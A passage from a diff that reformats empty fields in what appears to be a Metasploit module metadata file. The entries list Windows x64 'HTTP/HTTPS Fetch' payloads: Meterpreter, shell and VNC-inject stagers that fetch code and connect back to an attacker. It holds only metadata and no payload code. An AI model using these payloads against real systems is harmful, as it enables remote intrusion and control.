"notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217082,9 +192646,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217112,8 +192674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217126,9 +192687,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217160,8 +192719,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217174,9 +192732,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217204,8 +192760,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217218,9 +192773,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217248,8 +192801,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217262,9 +192814,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217292,8 +192842,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217306,9 +192855,7 @@ "payload_cmd/windows/http/x64/meterpreter_bind_named_pipe": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217336,8 +192883,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217348,9 +192894,7 @@ "payload_cmd/windows/http/x64/meterpreter_bind_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217377,8 +192921,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217389,9 +192932,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217418,8 +192959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217430,9 +192970,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217459,8 +192997,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217471,9 +193008,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217500,8 +193035,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217512,9 +193046,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217541,8 +193073,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217553,9 +193084,7 @@ "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217581,8 +193110,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217595,9 +193123,7 @@ "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217624,8 +193150,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217638,9 +193163,7 @@ "payload_cmd/windows/http/x64/peinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217666,8 +193189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217680,9 +193202,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217708,8 +193228,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217722,9 +193241,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217755,8 +193272,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217769,9 +193285,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217798,8 +193312,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217812,9 +193325,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217840,8 +193351,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217854,9 +193364,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217882,8 +193390,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217896,9 +193403,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217929,8 +193434,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217943,9 +193447,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217972,8 +193474,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217986,9 +193487,7 @@ "payload_cmd/windows/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/http/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217997,9 +193496,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218013,8 +193510,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218025,9 +193521,7 @@ "payload_cmd/windows/http/x64/powershell_bind_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218054,8 +193548,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218066,9 +193559,7 @@ "payload_cmd/windows/http/x64/powershell_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218095,8 +193586,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218107,9 +193597,7 @@ "payload_cmd/windows/http/x64/powershell_reverse_tcp_ssl": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218136,8 +193624,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218148,9 +193635,7 @@ "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218159,9 +193644,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218175,8 +193658,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218189,9 +193671,7 @@ "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218201,9 +193681,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218217,8 +193695,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218231,9 +193708,7 @@ "payload_cmd/windows/http/x64/shell/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218243,9 +193718,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218259,8 +193732,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218273,9 +193745,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218284,9 +193754,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218300,8 +193768,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218314,9 +193781,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218330,9 +193795,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218346,8 +193809,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218360,9 +193822,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218372,9 +193832,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218388,8 +193846,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218402,9 +193859,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218413,9 +193868,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218429,8 +193882,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218443,9 +193895,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218459,9 +193909,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218475,8 +193923,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218489,9 +193936,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218501,9 +193946,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218517,8 +193960,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218531,9 +193973,7 @@ "payload_cmd/windows/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/http/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218542,9 +193982,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nListen for a connection and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218558,8 +193996,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218570,9 +194007,7 @@ "payload_cmd/windows/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/http/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218581,9 +194016,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218597,8 +194030,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218609,9 +194041,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218637,8 +194067,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218651,9 +194080,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218680,8 +194107,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218694,9 +194120,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218723,8 +194147,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218737,9 +194160,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218765,8 +194186,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218779,9 +194199,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218812,8 +194230,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218826,9 +194243,7 @@ "payload_cmd/windows/http/x64/vncinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218855,8 +194270,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218869,9 +194283,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218898,8 +194310,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218912,9 +194323,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218943,8 +194352,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218957,9 +194365,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218985,8 +194391,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218999,9 +194404,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219032,8 +194435,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219046,9 +194448,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219075,8 +194475,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219089,9 +194488,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219118,8 +194515,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219132,9 +194528,7 @@ "payload_cmd/windows/http/x64/vncinject/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219161,8 +194555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219175,9 +194568,7 @@ "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219187,9 +194578,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219203,8 +194592,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219217,9 +194605,7 @@ "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219230,9 +194616,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219246,8 +194630,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -219260,9 +194643,7 @@ "payload_cmd/windows/https/x64/custom/bind_named_pipe": { "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/https/x64/custom/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -219272,9 +194653,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTPS server.\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -219288,8 +194667,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ 